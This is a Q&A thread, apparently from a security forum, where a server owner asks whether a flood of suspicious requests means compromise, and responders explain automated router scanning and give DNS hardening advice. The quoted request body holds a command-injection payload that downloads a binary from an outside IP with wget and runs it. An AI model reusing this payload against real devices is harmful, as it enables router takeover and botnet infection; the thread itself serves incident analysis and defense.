1

I've got a DigitalOcean server that I use for different temporary servers. Lately I've found that sometimes I get a constant spam of the following requests:

POST http://127.0.0.1/cgi-bin/ViewLog.asp

Headers:
    Host: 127.0.0.1
    Connection: keep-alive
    Accept-Encoding": gzip, deflate
    Accept: */*
    User-Agent: B4ckdoor-owned-you
    Content-Length: 176
    Content-Type: application/x-www-form-urlencoded

Body:
{
    " remote_submit_Flag": "1", // Space is not a typo
    "remote_syslog_Flag": "1",
    "RemoteSyslogSupported": "1",
    "LogFlag": "0",
    "remote_host": ";cd /tmp;wget http://152.44.44.68/d/xd.arm7;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm"
}

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I've used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?

2
  • 1
    Public web servers get all sorts of requests by automated scanners. Its easier for them to send the request to every IP rather than fully enumerating the target first. Now, 1.5TB of DNS traffic seems excessive and should be investigated. – phbits Jun 8 '20 at 23:59
  • 1,5TB of traffic indicates, IMO, lack of traffic filtering. Leaving a box in the wild internet makes it vulnerable to hard spam. Fail2ban is just an example of software (the first coming into my mind) that will block known attack patterns from hammering the server and cause damage in excessive traffic – usr-local-ΕΨΗΕΛΩΝ Nov 24 '20 at 13:59
0

You are right about the fact that he host header can easily be faked, however I assume that you've got the POST http://127.0.0.1/cgi-bin/ViewLog.asp right from yours logs - and that indicates that the requests come from (or via) your localhost indeed.
Some attacker code might try to exploit:

https://www.exploit-db.com/exploits/43884

which is aimed at (rebranded) Zyxel and Billion routers. This attack is unlikely to cause any harm to you as you're obviously not running your node.js stuff on a router, however the sole fact that something uncontrolled seems to originate from (or be forwarded by) your localhost should be investigated.

0

It looks like an automated search for vulnerable machines over the 'net.

The "127.0.0.1" host can be a faked part of the http request that comes from some other address. 127.0.0.1 (localhost) gets less security checks in a lot of networked systems.

It is rather unusual, but not absolutely pointless for someone that already can execute code on your machine to scan for vulnerabilities from inside - he is already in.

You may as well look for HTTP access log and see how this request is logged.


As for DNS: unless you know what you are doing, don't run public DNS.

p.s. no one can say if your machine is compromised, but since it is for temporary use, it is better to reinstall it.

2
  • "unless you know what you are doing, don't run public DNS" - this was my concern initially but at certain stage later I will have to make it public, although for just a few domains :/ – lolbas Jun 27 '20 at 17:21
  • It is way easier (and a whole lot more secure) to use a reputable commercial DNS provider. If you are not expecting some mindblowing DNS traffic, you can as well use a free account "just for a few domains". I am not sure why after decades of DNS use and development we still don't have a DNS server that is not subscribed to the CVE list – fraxinus Jun 27 '20 at 19:55

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.